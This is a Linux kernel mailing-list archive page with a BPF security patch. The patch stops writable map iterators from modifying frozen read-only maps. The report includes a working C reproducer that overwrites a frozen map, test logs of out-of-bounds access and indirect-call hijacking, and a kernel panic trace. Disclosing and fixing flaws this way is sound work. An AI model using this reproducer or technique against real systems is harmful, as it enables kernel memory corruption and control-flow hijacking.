From: AdetsGithub <adethyasrinivasan@outlook.com>
To: Yonghong Song <yonghong.song@linux.dev>,
Alexei Starovoitov <ast@kernel.org>,
Daniel Borkmann <daniel@iogearbox.net>,
Andrii Nakryiko <andrii@kernel.org>,
Eduard Zingerman <eddyz87@gmail.com>,
Kumar Kartikeya Dwivedi <memxor@gmail.com>
Cc: bpf@vger.kernel.org, linux-kernel@vger.kernel.org,
Adethya Srinivasan <adethyasrinivasan@outlook.com>
Subject: [PATCH bpf] bpf: Reject writable map iterators on read-only and frozen maps
Date: Sat, 7 Nov 2026 14:14:57 +0000 [thread overview]
Message-ID: <LO2P302MB0197FAF0305A94F7575CA700BC752@LO2P302MB0197.GBRP302.PROD.OUTLOOK.COM> (raw)
From: Adethya Srinivasan <adethyasrinivasan@outlook.com>
The bpf_map_elem and bpf_sk_storage_map iterators pass the live element
value (ctx->value) to the iterator program as a writable buffer
(PTR_TO_BUF | PTR_MAYBE_NULL) for all non-percpu map types. Since
commit 8d0358f6e8b3 ("bpf: Keep iterator programs off special map
fields"), bpf_iter_map_check_value_write() checks on Linux 7.4.0-rc1
whether a writable iterator program (prog->aux->max_rdwr_write > 0)
overlaps special BTF fields in map->record, but does not check whether
the target map has BPF_F_RDONLY_PROG set or has been frozen via
BPF_MAP_FREEZE (map->frozen).
As a result, a writable bpf_map_elem iterator can be attached to a
frozen BPF_F_RDONLY_PROG map (such as a .rodata BPF_MAP_TYPE_ARRAY or
BPF_MAP_TYPE_HASH) and triggered via read(iter_fd) to mutate its elements
in place after dependent BPF programs have already been verified.
Why this breaks verifier soundness:
1. Constant folding (check_map_load / const_fold.c): When
bpf_map_is_rdonly(map) is true ((map->map_flags & BPF_F_RDONLY_PROG)
&& READ_ONCE(map->frozen) && !bpf_map_write_active(map)), the verifier
folds direct loads from single-entry array maps into compile-time
scalar constants (__mark_reg_known). Overwriting the frozen element
via a bpf_map_elem iterator causes the runtime value to diverge from
the verifier's folded constant, bypassing bounds checks on pointer
arithmetic (PTR_TO_MAP_VALUE += scalar) in already-loaded programs
and enabling out-of-bounds map reads and writes.
2. Indirect subprogram calls (find_subprog / callx): Function pointer
tables in frozen BPF_F_RDONLY_PROG maps are resolved to live kernel
JIT addresses at load time. Mutating the frozen slot via a
bpf_map_elem iterator redirects indirect callx targets at runtime
(or crashes the kernel at an arbitrary RIP such as RIP = 0x0).
Threat model evaluation (Documentation/process/threat-model.rst):
Triggering this issue requires attaching a tracing iterator program
(BPF_PROG_TYPE_TRACING / BPF_TRACE_ITER), which requires CAP_BPF and
CAP_PERFMON (or CAP_SYS_ADMIN, or a delegated BPF token). In deployments
where CAP_BPF + CAP_PERFMON or a BPF token is granted without full root /
CAP_SYS_ADMIN, the BPF verifier is the boundary preventing out-of-bounds
kernel memory access and arbitrary kernel RIP control.
In bpf_iter_map_check_value_write(), return 0 early when
!prog->aux->max_rdwr_write so read-only iterators (such as bpftool map
dump) remain permitted, and reject maps with
(map->map_flags & BPF_F_RDONLY_PROG) or READ_ONCE(map->frozen) with
-EACCES before checking map->record.
Fixes: 8d0358f6e8b3 ("bpf: Keep iterator programs off special map fields")
Fixes: d3cc2ab546ad ("bpf: Implement bpf iterator for array maps")
Fixes: d6c4503cc296 ("bpf: Implement bpf iterator for hash maps")
Fixes: 5ce6e77c7edf ("bpf: Implement bpf iterator for sock local storage map")
Signed-off-by: Adethya Srinivasan <adethyasrinivasan@outlook.com>
---
Supporting Information (per Documentation/admin-guide/reporting-issues.rst):
1. Environment & Kernel Version
-------------------------------
- Kernel version: Linux 7.4.0-rc1
- Commit: a91337fb5e8e0127c8b5be87be9f3027f95b48bc (torvalds/linux master)
- Guest uname -a:
Linux (none) 7.4.0-rc1-ga91337fb5e8e-dirty #2 SMP PREEMPT_DYNAMIC x86_64 GNU/Linux
- Compiler & Linker:
gcc (Ubuntu 15.2.0-16ubuntu1) 15.2.0 / GNU ld (GNU Binutils for Ubuntu) 2.46
- Virtualization / Hardware:
QEMU/KVM x86_64 (QEMU Ubuntu 26.04 PC i440FX + PIIX, 4 vCPUs, 4 GiB RAM)
- Relevant Kernel Configuration:
CONFIG_BPF=y
CONFIG_BPF_SYSCALL=y
CONFIG_BPF_JIT=y
CONFIG_BPF_JIT_ALWAYS_ON=y
CONFIG_DEBUG_INFO_BTF=y
CONFIG_BPF_EVENTS=y
2. Kernel Oops / Panic Trace (Phase 3: callx slot poisoned with 0x0 via iter)
-----------------------------------------------------------------------------
When a frozen BPF_F_RDONLY_PROG array map holding resolved subprogram
addresses for callx is overwritten with 0x0 via an iter/bpf_map_elem
program, the next bpf_prog_test_run jumps to RIP = 0x0 in supervisor mode:
[ 2.206756] BUG: kernel NULL pointer dereference, address: 0000000000000000
[ 2.208642] #PF: supervisor instruction fetch in kernel mode
[ 2.210161] #PF: error_code(0x0010) - not-present page
[ 2.211586] PGD 0 P4D 0
[ 2.212467] Oops: Oops: 0010 [#1] SMP NOPTI
[ 2.213677] CPU: 2 UID: 0 PID: 131 Comm: test_progs Tainted: G OE 7.4.0-rc1-ga91337fb5e8e-dirty #2 PREEMPT(full)
[ 2.216684] Tainted: [O]=OOT_MODULE, [E]=UNSIGNED_MODULE
[ 2.218417] Hardware name: QEMU Ubuntu 26.04 PC (i440FX + PIIX, 1996), BIOS 1.17.0-debian-1.17.0-1ubuntu1 04/01/2014
[ 2.221558] RIP: 0010:0x0
[ 2.222602] Code: Unable to access opcode bytes at 0xffffffffffffffd6.
[ 2.224465] RSP: 0018:ffff9a1b40a47b40 EFLAGS: 00010202
[ 2.225995] RAX: ffffffffc0200768 RBX: ffff8fbb42073900 RCX: ffff8fbb42073900
[ 2.227953] RDX: 0000000000000246 RSI: 0000000000000000 RDI: 000000000000000a
[ 2.229738] RBP: ffff9a1b40a47b48 R08: 0000000000000000 R09: 0000000000000001
[ 2.231506] R10: 0000000000000001 R11: ffff8fbb42074448 R12: ffff9a1b401f2000
[ 2.233284] R13: ffff9a1b40a47be0 R14: ffff9a1b40a47bc8 R15: ffff8fbb40bd9800
[ 2.235046] FS: 00007fd7dbc82940(0000) GS:ffff8fbbe5d7e000(0000) knlGS:0000000000000000
[ 2.236977] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 2.238445] CR2: ffffffffffffffd6 CR3: 000000010321c004 CR4: 0000000000770ef0
[ 2.240044] PKRU: 55555554
[ 2.240624] Call Trace:
[ 2.241129] <TASK>
[ 2.241590] bpf_prog_201991bb12c96cf7_main_prog+0x28/0x2a
[ 2.242674] bpf_test_run+0x1ff/0x440
[ 2.243403] ? bpf_test_run+0x11f/0x440
[ 2.244194] bpf_prog_test_run_skb+0x634/0xba0
[ 2.245117] ? lock_release+0xd1/0x2e0
[ 2.245885] __sys_bpf+0x11d7/0x3260
[ 2.246622] ? anon_pipe_write+0x2ce/0x730
[ 2.247437] ? __x64_sys_bpf+0x30/0x40
[ 2.248194] __x64_sys_bpf+0x30/0x40
[ 2.248933] do_syscall_64+0xb2/0x550
[ 2.249679] ? __irq_exit_rcu+0x2f/0x130
[ 2.250480] entry_SYSCALL_64_after_hwframe+0x76/0x7e
[ 2.264423] </TASK>
[ 2.264890] Modules linked in: bpf_testmod(OE)
[ 2.265785] CR2: 0000000000000000
[ 2.266455] ---[ end trace 0000000000000000 ]---
[ 2.267395] Kernel panic - not syncing: Fatal exception in interrupt
[ 2.283591] Kernel Offset: 0x12000000 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffffbfffffff)
[ 2.285658] ---[ end Kernel panic - not syncing: Fatal exception in interrupt ]---
3. Verification Output Before & After Patch
-------------------------------------------
A) Unpatched 7.4.0-rc1 (a91337fb5e8e) -- all 3 exploit phases succeed:
./test_progs -v -t frozen_rdonly_iter_write
F phase-1: syscall update after freeze denied (Operation not permitted)
F phase-1 CONFIRMED: wrote 0xdeadbeefcafebabe into frozen RDONLY_PROG ARRAY via bpf_map_elem iter
#171/1 frozen_rdonly_iter_write/phase1_iter_write_frozen:OK
F phase-2: victim accepted with frozen rdonly scalar known=0
F phase-2 CONFIRMED: accepted prog read data[1] after poisoning frozen rdonly offset 0->8 (verifier assumed constant 0)
F phase-2 control: reload with *ro==8 rejected (expected)
F phase-2 WRITE CONFIRMED: corrupted data[1]=0xdeadbeefcafebabe via under-bounded PTR_TO_MAP_VALUE
#171/2 frozen_rdonly_iter_write/phase2_const_scalar_oob:OK
F phase-3: resolved add1=ffffffffc0400720 add2=ffffffffc0400758
F phase-3: pre-hijack retval=13
F phase-3 CONFIRMED: callx hijack via iter write to frozen func-ptr map (retval 13->14).
#171/3 frozen_rdonly_iter_write/phase3_callx_hijack:OK
#171 frozen_rdonly_iter_write:OK
B) Patched 7.4.0-rc1 -- writable iterator rejected with -EACCES on all phases:
./test_progs -v -t frozen_rdonly_iter_write
F phase-1: syscall update after freeze denied (Operation not permitted)
libbpf: prog 'poison_frozen_map': failed to attach to iterator: -EACCES
run_poison_iter:FAIL:attach iter to frozen map unexpected error: -13
#171/1 frozen_rdonly_iter_write/phase1_iter_write_frozen:FAIL
F phase-2: victim accepted with frozen rdonly scalar known=0
libbpf: prog 'poison_frozen_map': failed to attach to iterator: -EACCES
run_poison_iter:FAIL:attach iter to frozen map unexpected error: -13
#171/2 frozen_rdonly_iter_write/phase2_const_scalar_oob:FAIL
F phase-3: resolved add1=ffffffffc020099c add2=ffffffffc02009cc
F phase-3: pre-hijack retval=13
libbpf: prog 'poison_frozen_map': failed to attach to iterator: -EACCES
run_poison_iter:FAIL:attach iter to frozen map unexpected error: -13
#171/3 frozen_rdonly_iter_write/phase3_callx_hijack:FAIL
4. Minimal Standalone C Reproducer (frozen_rdonly_iter_write.c)
---------------------------------------------------------------
Build: gcc -O2 -Wall frozen_rdonly_iter_write.c -lbpf -o frozen_rdonly_iter_write
Run: sudo ./frozen_rdonly_iter_write
/* SPDX-License-Identifier: GPL-2.0 */
#define _GNU_SOURCE
#include <errno.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <bpf/bpf.h>
#include <bpf/libbpf.h>
#include <linux/bpf.h>
#ifndef BPF_F_RDONLY_PROG
#define BPF_F_RDONLY_PROG (1U << 7)
#endif
#define SAFE_VAL 0x11111111ull
#define POISON_VAL 0xdeadbeefcafebabeull
#define CTX_VALUE_OFF 24
#ifndef BPF_MOV64_REG
#define BPF_MOV64_REG(DST, SRC) \
((struct bpf_insn){ .code = BPF_ALU64 | BPF_MOV | BPF_X, .dst_reg = DST, .src_reg = SRC })
#define BPF_MOV64_IMM(DST, IMM) \
((struct bpf_insn){ .code = BPF_ALU64 | BPF_MOV | BPF_K, .dst_reg = DST, .imm = IMM })
#define BPF_LDX_MEM(SZ, DST, SRC, OFF) \
((struct bpf_insn){ .code = BPF_LDX | (SZ) | BPF_MEM, .dst_reg = DST, .src_reg = SRC, .off = OFF })
#define BPF_STX_MEM(SZ, DST, SRC, OFF) \
((struct bpf_insn){ .code = BPF_STX | (SZ) | BPF_MEM, .dst_reg = DST, .src_reg = SRC, .off = OFF })
#define BPF_JMP_IMM(OP, DST, IMM, OFF) \
((struct bpf_insn){ .code = BPF_JMP | (OP) | BPF_K, .dst_reg = DST, .off = OFF, .imm = IMM })
#define BPF_LD_IMM64(DST, IMM) \
((struct bpf_insn){ .code = BPF_LD | BPF_DW | BPF_IMM, .dst_reg = DST, .imm = (__u32)(IMM) }), \
((struct bpf_insn){ .imm = (__u32)((__u64)(IMM) >> 32) })
#define BPF_EXIT_INSN() \
((struct bpf_insn){ .code = BPF_JMP | BPF_EXIT })
#endif
static int load_poison_iter(void)
{
struct bpf_insn insns[] = {
BPF_MOV64_REG(BPF_REG_6, BPF_REG_1),
BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_6, CTX_VALUE_OFF),
BPF_JMP_IMM(BPF_JEQ, BPF_REG_1, 0, 3),
BPF_LD_IMM64(BPF_REG_2, POISON_VAL),
BPF_STX_MEM(BPF_DW, BPF_REG_1, BPF_REG_2, 0),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
};
LIBBPF_OPTS(bpf_prog_load_opts, opts,
.expected_attach_type = BPF_TRACE_ITER);
opts.attach_btf_id = libbpf_find_vmlinux_btf_id("bpf_map_elem",
BPF_TRACE_ITER);
if (opts.attach_btf_id <= 0)
return -1;
return bpf_prog_load(BPF_PROG_TYPE_TRACING, "poison_iter", "GPL",
insns, sizeof(insns) / sizeof(insns[0]), &opts);
}
int main(void)
{
LIBBPF_OPTS(bpf_map_create_opts, mopts, .map_flags = BPF_F_RDONLY_PROG);
LIBBPF_OPTS(bpf_iter_attach_opts, iopts);
union bpf_iter_link_info linfo = {};
__u32 key = 0;
__u64 val = SAFE_VAL, out = 0;
int map_fd = -1, prog_fd = -1, link_fd = -1, iter_fd = -1;
char buf[64];
int err, ret = 1;
ssize_t n;
map_fd = bpf_map_create(BPF_MAP_TYPE_ARRAY, "f_ro", sizeof(key),
sizeof(val), 1, &mopts);
if (map_fd < 0)
return 1;
if (bpf_map_update_elem(map_fd, &key, &val, BPF_ANY) ||
bpf_map_freeze(map_fd))
goto out;
val = 0x22222222ull;
err = bpf_map_update_elem(map_fd, &key, &val, BPF_ANY);
if (!err)
goto out;
printf("[+] syscall update after freeze denied (%s)\n", strerror(errno));
prog_fd = load_poison_iter();
if (prog_fd < 0)
goto out;
linfo.map.map_fd = map_fd;
iopts.link_info = &linfo;
iopts.link_info_len = sizeof(linfo);
link_fd = bpf_link_create(prog_fd, 0, BPF_TRACE_ITER, &iopts);
if (link_fd < 0) {
printf("[+] link_create rejected on patched kernel: %s\n",
strerror(errno));
goto out;
}
iter_fd = bpf_iter_create(link_fd);
if (iter_fd < 0)
goto out;
n = read(iter_fd, buf, sizeof(buf));
if (n < 0)
goto out;
if (!bpf_map_lookup_elem(map_fd, &key, &out) && out == POISON_VAL) {
printf("[!] VULNERABLE: frozen rdonly map mutated to 0x%llx\n",
(unsigned long long)out);
ret = 0;
}
out:
if (iter_fd >= 0)
close(iter_fd);
if (link_fd >= 0)
close(link_fd);
if (prog_fd >= 0)
close(prog_fd);
if (map_fd >= 0)
close(map_fd);
return ret;
}
kernel/bpf/map_iter.c | 12 +++++++++---
1 file changed, 9 insertions(+), 3 deletions(-)
diff --git a/kernel/bpf/map_iter.c b/kernel/bpf/map_iter.c
index a58c148692e6..b9c2135a4b8c 100644
--- a/kernel/bpf/map_iter.c
+++ b/kernel/bpf/map_iter.c
@@ -100,15 +100,21 @@ static struct bpf_iter_reg bpf_map_reg_info = {
/*
* For an iterator that hands the live map value to the program as a writable
- * buffer: the verifier knows nothing of the map, so the special fields of the
- * value have to lie outside of what the program may write.
+ * buffer: the verifier knows nothing of the map, so read-only / frozen maps
+ * and special fields of the value have to be protected from writes.
*/
int bpf_iter_map_check_value_write(const struct bpf_prog *prog,
const struct bpf_map *map)
{
const struct btf_record *rec = map->record;
const struct btf_field *field;
u32 i;
- if (IS_ERR_OR_NULL(rec) || !prog->aux->max_rdwr_write)
+ if (!prog->aux->max_rdwr_write)
+ return 0;
+
+ if ((map->map_flags & BPF_F_RDONLY_PROG) || READ_ONCE(map->frozen))
+ return -EACCES;
+
+ if (IS_ERR_OR_NULL(rec))
return 0;
for (i = 0; i < rec->cnt; i++) {
--
2.43.0
next reply other threads:[~2026-11-07 14:15 UTC|newest]
Thread overview: 2+ messages / expand[flat|nested] mbox.gz Atom feed top
2026-11-07 14:14 AdetsGithub [this message]
2026-11-07 14:49 ` bot+bpf-ci
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=LO2P302MB0197FAF0305A94F7575CA700BC752@LO2P302MB0197.GBRP302.PROD.OUTLOOK.COM \
--to=adethyasrinivasan@outlook.com \
--cc=andrii@kernel.org \
--cc=ast@kernel.org \
--cc=bpf@vger.kernel.org \
--cc=daniel@iogearbox.net \
--cc=eddyz87@gmail.com \
--cc=linux-kernel@vger.kernel.org \
--cc=memxor@gmail.com \
--cc=yonghong.song@linux.dev \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox
all inboxes | Powered by JetHome®